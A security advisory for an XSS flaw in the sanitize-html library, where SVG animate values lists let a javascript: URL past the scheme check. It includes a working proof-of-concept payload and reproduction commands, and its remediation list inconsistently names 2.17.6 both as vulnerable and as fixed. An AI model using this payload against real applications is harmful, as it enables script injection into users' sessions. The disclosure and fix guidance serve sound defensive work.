GHSA-g8qq-57p8-ggw5: XSS
Summary When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
js const sanitize = require('sanitize-html');
const input = <svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output);
Install and run it, then open poc.html and click Click me:
sh npm install sanitize-html@2.17.6 node poc.js > poc.html
The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/sanitize-htmlto a version that resolves this vulnerability.Fixed in 2.17.7 - Upgrade
Upgrade
sanitize-htmlto a version that resolves this vulnerability.Fixed in 2.17.6 - Configuration
Reject SVG `animate` and `set` `attributeName` values selecting `href` or `xlink:href` (e.g., do not allow `attributeName="href"` / `attributeName="xlink:href"`), while retaining safe targets such as `fill`.
sanitize-html allowedAttributes.animate (animate.allowedAttributes / animate tag attribute allowlist) = ['attributename','values','dur','fill'] - Configuration
When validating SVG `animate`/`set` `values`, ensure the scheme policy is correctly applied to the full SMIL URI-list (both the fragment check and all list members), so a later `javascript:` destination cannot be retained and executed.
sanitize-html allowedSchemesAppliedToAttributes / scheme application for values = sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments that allow SVG animation are exposed. The reproduced configuration added svg, animate, and text to sanitize-html's default allowed tags and applied the existing URL-scheme policy to the values attribute.
What must an attacker provide for exploitation to occur?
An attacker needs to supply sanitized SVG containing an animate element with attributeName="href" and a values list that begins with a safe fragment but later contains a javascript: destination. The malicious destination executes when the sanitized link is activated by a user.